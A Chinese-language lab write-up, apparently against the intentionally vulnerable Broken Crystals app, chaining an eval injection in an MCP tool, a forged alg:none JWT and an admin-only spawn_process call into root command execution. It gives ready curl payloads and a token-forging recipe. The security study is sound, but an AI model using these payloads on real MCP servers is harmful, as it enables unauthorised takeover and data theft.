Broken Crystals 實戰筆記 4:MCP 攻擊實戰——從未認證訪客到 admin 提權 RCE 的完整 kill chain
前幾篇打的是傳統 web 洞(LFI、命令注入、SSJI、XXE),這篇轉向一個相對前沿、實戰資料還很少的攻擊面:MCP(Model Context Protocol),我會從「MCP 是什麼」講起,接著拆解這個 app 的 MCP 攻擊面,最後把兩個核心 finding 串成一條完整的攻擊鏈——一個未認證訪客,如何一路提權成 admin 並取得 root RCE,全程以白箱源碼(透過先前的 LFI 取得)佐證。
一、先搞懂:MCP 是什麼
MCP(Model Context Protocol,模型上下文協定) 是 2024 年底由 Anthropic 提出的開放標準,它要解決的問題是:LLM 本身只會生成文字,不能真的「做事」——讀檔案、查資料庫、呼叫 API,MCP 就是一套標準化介面,讓 LLM 能呼叫外部的「工具(tools)」與「資源(resources)」。
用一個比喻:LLM 是一個聰明但被關在房間裡、只能講話的大腦;MCP 則是牆上一排按鈕(tools)和抽屜(resources),LLM 想做事時,就透過 MCP 這套協定去按按鈕、開抽屜。
為什麼 MCP 是肥美的攻擊面? 因為它把「危險能力」標準化地暴露出來,MCP server 常常:假設「只有可信的 AI 會來呼叫」而把認證/授權做得很鬆;把 shell、DB、檔案系統的能力直接開成 tool;tool 參數直接進危險 sink,因此 MCP 的攻擊面 = 傳統 API 的所有洞 + AI 特有的信任假設問題。
Broken Crystals 內建了一個相當完整的 MCP 實作,這正是本篇的主角。
二、MCP 攻擊面偵查(白箱)
透過先前的 LFI,直接讀 MCP 相關源碼。關鍵結構如下。
端點與協定
- 端點:
POST /api/mcp,走 JSON-RPC 2.0 - 流程:先
initialize建立 session(回應Mcp-Session-Idheader)→ 後續請求帶此 header →tools/call、resources/read - 協定版本:
2025-11-25
建立 session:先看清楚自己是誰
未帶任何 token 送 initialize:
curl -s -i -X POST http://localhost:3000/api/mcp \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"initialize","id":0}'
回應揭曉初始身份:
"session": { "authenticated": false, "role": "guest", "ttlMs": 1800000 }
未認證訪客身份 = guest,session 存活 30 分鐘。
列出 tools:access level 一覽
帶著 session id 送 tools/list,這個 app 很大方地把每個 tool 的 accessLevel 都列出來:
| Tool | accessLevel | 底層 sink / 對應洞 |
|---|---|---|
spawn_process |
admin | child_process.spawn → 命令注入 |
get_config |
admin | 敏感設定洩漏 |
process_numbers |
public | proxy /api/process_numbers → eval SSJI |
render |
public | doT 模板 → SSTI |
get_metadata |
public | proxy /api/metadata → XXE |
get_count |
public | 「Accepts a SQL query」→ 疑似 SQLi |
search_users |
public | 使用者搜尋 |
update_user |
public | prototype pollution |
get_testimonials |
public | 資料列表 |
excerpt_text |
public | 文字截斷 |
看出矛盾了嗎——後面會展開。
三、Finding 1:授權分級不一致 → 未認證 RCE
觀察
防禦者把 spawn_process(明顯的命令注入 RCE)保護成 admin,卻把 process_numbers 留成 public,但 process_numbers 底層是 eval() 的 SSJI,一樣是 RCE,這是授權邏輯漏洞的經典型態:防禦者只保護了「看起來危險」的端點,卻漏掉了「同樣能 RCE 但長得像功能」的端點。
利用
用未認證的 guest session,直接呼叫 public 的 process_numbers,塞入 SSJI payload:
curl -s -X POST http://localhost:3000/api/mcp \
-H "Content-Type: application/json" \
-H "Mcp-Session-Id: <guest-session-id>" \
-d '{
"jsonrpc":"2.0","method":"tools/call","id":2,
"params":{
"name":"process_numbers",
"arguments":{
"numbers":[1],
"processing_expression":"require(\"child_process\").execSync(\"id\").toString()"
}
}
}'
回應:
"text": "SSJI result: uid=0(root) gid=0(root) ..."
未認證 root RCE 成立, 一個 guest,透過被錯標為 public 的 process_numbers,繞過了防禦者對 spawn_process 的 admin 保護。
對照:admin 保護本身是有效的
值得強調——這不是「保護完全失效」,而是「分類錯誤」,用同一個 guest session 呼叫 admin 的 spawn_process:
{"error":{"code":-32001,"message":"Unauthorized: tool \"spawn_process\" requires authentication"}}
admin 保護確實擋住了 guest,機制是 work 的,問題出在某個等價危險的能力被錯放到 public,這比「完全沒防護」更真實,也更接近現實世界的漏洞型態——機制對,但某個東西分錯類。
四、Finding 2:JWT alg:none → admin 提權
既然 spawn_process 被 admin 保護擋住,下一個目標是把 guest session 升成 admin。
認證邏輯(白箱)
讀 mcp.auth.service.js 的 resolveAuthContext:
const token = this.extractBearerToken(req); // 從 Authorization header / cookie 取 token
if (!token) return { authenticated:false, role:'guest' };
const payload = await this.validateJwt(token); // 用 RSA processor 驗 JWT
const user = this.extractUserId(payload); // 取 sub / email / username / user
const role = await this.resolveRole(user); // findByEmail(user) → isAdmin ? 'admin' : 'user'
所以 role 是「驗證 JWT → 取出身份 → 查 DB 看該 user 是否 isAdmin」,要變 admin,需要一個「能通過驗證、且身份對應到某個 admin 使用者」的 JWT。
致命缺陷:RSA processor 的驗證實作
MCP 認證用的是 JwtProcessorType.RSA。讀該 processor 的 validateToken:
async validateToken(token) {
const [header, payload] = this.parse(token);
if (header.alg === 'none') { // 缺陷 1:alg:none 直接放行
return payload;
}
return decode(token, this.publicKey, false, header.alg); // 缺陷 2:演算法由 token 自己決定
}
兩個獨立的致命缺陷:
- 缺陷 1(alg:none):token 若宣告
alg: none,連驗都不驗,直接回傳 payload,這是最經典的 JWT 漏洞——不需要任何簽名。 - 缺陷 2(algorithm confusion):
decode(token, publicKey, false, header.alg)的第四個參數是header.alg——token 宣告什麼演算法就用什麼驗,沒有鎖死 RS256,這開啟了 RS256→HS256 混淆攻擊:把 alg 改成 HS256,伺服器會拿它手上的 RSA 公鑰當 HMAC secret 來驗,而公鑰是公開的(LFI 讀得到),HMAC 簽驗同一把,於是可用公鑰偽造。
兩條都通,alg:none 更直白,選它。
補充:RS256→HS256 algorithm confusion 的原理,RS256 是非對稱(私鑰簽、公鑰驗),你偽造不了因為沒私鑰,但若驗證函式不鎖演算法,攻擊者把 header 改成 HS256(對稱,簽驗同一把),伺服器便拿「本來要做 RSA 驗證的公鑰」當 HMAC secret,由於公鑰是公開的、且 HMAC 對稱,攻擊者用同一把公鑰簽名即可通過驗證——把「大家都有的公鑰」武器化成「偽造 token 的鑰匙」。
找出 admin 身份
resolveRole 是拿 token 身份去 findByEmail 查 DB,所以偽造的 payload 必須對應一個真實 admin,用 public 的 search_users tool(未認證即可呼叫)撈:
curl -s -X POST http://localhost:3000/api/mcp \
-H "Content-Type: application/json" \
-H "Mcp-Session-Id: <guest-session-id>" \
-d '{"jsonrpc":"2.0","method":"tools/call","id":5,"params":{"name":"search_users","arguments":{"name":"a"}}}'
結果(這個 tool 本身也是 finding——未認證洩漏含信用卡號的 PII):
{ "email": "admin", "firstName": "admin", "cardNumber": "1234 5678 9012 3456", "id": 1 }
admin 使用者的識別身份就是字串 "admin"。
偽造 alg:none token(零簽名)
JWT 結構為 base64url(header).base64url(payload).簽名,alg:none 不需簽名段:
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"sub":"admin","user":"admin","email":"admin"}' | base64 | tr '+/' '-_' | tr -d '=')
TOKEN="${HEADER}.${PAYLOAD}." # 第三段(簽名)留空,但保留結尾的點
tr '+/' '-_' | tr -d '=' 是把標準 base64 轉為 JWT 用的 base64url。最終 token:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInVzZXIiOiJhZG1pbiIsImVtYWlsIjoiYWRtaW4ifQ.
帶偽造 token 建立 admin session
curl -s -i -X POST http://localhost:3000/api/mcp \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInVzZXIiOiJhZG1pbiIsImVtYWlsIjoiYWRtaW4ifQ." \
-d '{"jsonrpc":"2.0","method":"initialize","id":0}'
回應:
"session": { "authenticated": true, "role": "admin", "user": "admin" }
role 從 guest 升為 admin,一個完全沒有簽名的偽造 token,換到了 admin session。
五、閉環:admin session 呼叫 spawn_process
用新的 admin session id 呼叫先前擋住我們的 spawn_process:
curl -s -X POST http://localhost:3000/api/mcp \
-H "Content-Type: application/json" \
-H "Mcp-Session-Id: <admin-session-id>" \
-d '{"jsonrpc":"2.0","method":"tools/call","id":6,"params":{"name":"spawn_process","arguments":{"command":"id"}}}'
回應是 SSE 串流(spawn_process 為 streaming tool,依序送 progress → partial_output → message):
event: message
data: {"jsonrpc":"2.0","result":{"content":[{"type":"text","text":"OS command result: uid=0(root) gid=0(root) ..."}]},"id":6}
剛剛還回 Unauthorized,現在回 root。
完整 Kill Chain
① 未認證 guest(MCP initialize 無 token,role=guest)
② LFI (/api/file) 讀後端源碼
→ 發現 RSA processor 的 alg:none 缺陷(與 decode 不鎖演算法)
③ search_users(public tool,順帶洩漏含信用卡號的 PII)→ 取得 admin 身份 = "admin"
④ 手工偽造 alg:none JWT(header.payload. ,零簽名)
⑤ MCP initialize 帶偽造 token → role 由 guest 升為 admin
⑥ admin session 呼叫 admin-only 的 spawn_process → 未授權提權 RCE (root)
單一條鏈串接了 五種漏洞:LFI、敏感資料洩漏、JWT alg:none、MCP 授權繞過、命令注入,這在真實世界是 critical 級的完整 kill chain,且它模擬的正是 MCP server 現實中最可能出現的兩類問題——認證分級不一致 與 JWT 驗證缺陷。
值得注意的是,這條鏈其實有兩個獨立的未授權 RCE 入口:Finding 1(public 的 process_numbers)不需要任何提權就能 RCE;Finding 2 則展示了即使某能力被正確保護成 admin,只要認證層有缺陷,仍可提權後取得,防禦上這也對應兩個獨立的修補點:能力分級要一致,且 JWT 驗證必須鎖死演算法、拒絕 alg:none。
結語
MCP 作為讓 AI 擁有「手腳」的協定,其安全問題正是當前最前沿的研究領域之一,本篇示範的兩個核心缺陷——授權分級不一致、JWT 驗證放行 alg:none——都不是 MCP 獨有的新型漏洞,而是「傳統 web 安全問題,被搬進 MCP 這個新語境」,這也是 MCP 攻擊的本質:舊洞、新面。理解這點,任何做過傳統 web 滲透的人,都能快速切入 MCP 攻擊面。
本文為授權範圍內的本機自建靶場測試紀錄,僅供防禦研究與教育用途。文中所有憑證、PII 均為靶場預設假資料。請勿將任何技術用於未授權目標。
Member discussion